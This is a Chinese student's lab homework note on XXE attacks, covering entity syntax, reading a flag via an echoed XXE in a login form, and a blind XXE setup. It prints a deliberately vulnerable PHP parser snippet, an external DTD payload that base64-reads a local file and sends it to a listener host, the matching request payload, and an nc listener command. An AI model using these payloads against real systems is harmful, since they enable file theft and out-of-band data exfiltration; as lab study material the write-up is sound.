班级作业笔记报告0x07

XXE漏洞

XXE基础知识

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE 文件名[

<!ENTITY 实体名 "实体内容">

]>

<元素名称 category="属性">

文本或其他元素

</元素名称>

作业1:

常规XXE漏洞

登录框抓包任意输入账号密码

username处有回显

构造XXE

没怎么学和玩过XXE漏洞,听说也是好多年前的漏洞了,看了一些文章,发现可以不用输入<?xml version="1.0" encoding="utf-8"?>,一样可以读取到flag

作业2:

Bind型XXE漏洞

这个没有靶场环境,只能在自己的机子上完成了。。。

无回显XXE漏洞

php代码

<?php

libxml_disable_entity_loader(false);

$xmlfile=file_get_contents('php://input');

$dom=new DOMDocument();

dom-\>loadXML(xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);

?>

需要引用外部.dtd文件,要想利用.dtd文件来读取内容flag文件内容需要.dtd构造如下XML

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">

<!ENTITY % int "<!ENTITY % send SYSTEM 'http://172.17.0.2:1234?p=%file;'>">

而请求包会这样构造

<!DOCTYPE convert [

<!ENTITY % remote SYSTEM "http://172.17.0.2:80/test.dtd">

%remote;%int;%send;

]>

然后需要对端口进行监听

nc -lvvp 1234

个人评价:

XXE漏洞可以造成敏感文件读取、内网探测SSRF、数据外带传输、拒绝服务,特定环境下还可以造成RCE漏洞和业务中断与信息收集

相关推荐
智者知已应修善业3 分钟前
【51单片机89C51及74LS273、74LS244组成】2022-5-28
c++·经验分享·笔记·算法·51单片机
奋斗的小乌龟9 分钟前
langchain4j笔记-06
笔记
·醉挽清风·17 分钟前
学习笔记—MySQL—库表操作
笔记·学习·mysql
无心水1 小时前
【Hermes:安全、权限与生产环境】40、运行 Hermes 前的生命线:安全审计清单与 11 个必须检查的配置项
人工智能·安全·mcp协议·openclaw·养龙虾·hermes·honcho
白小沫2 小时前
TortoiseSVN是什么?
学习
weixin_451431562 小时前
【学习笔记】微博视频页面ajax请求与响应数据分析
笔记·学习·音视频
清辞8533 小时前
尾盘选股法程序开发学习初期
学习
Century_Dragon3 小时前
让实训“活”起来——信息化综合实训考核平台助力汽车专业教学
学习
独隅3 小时前
CodeX + Visual Studio Code 联动的全面指南
开发语言·php
快乐得小萝卜3 小时前
OpenVLA 论文精读笔记
笔记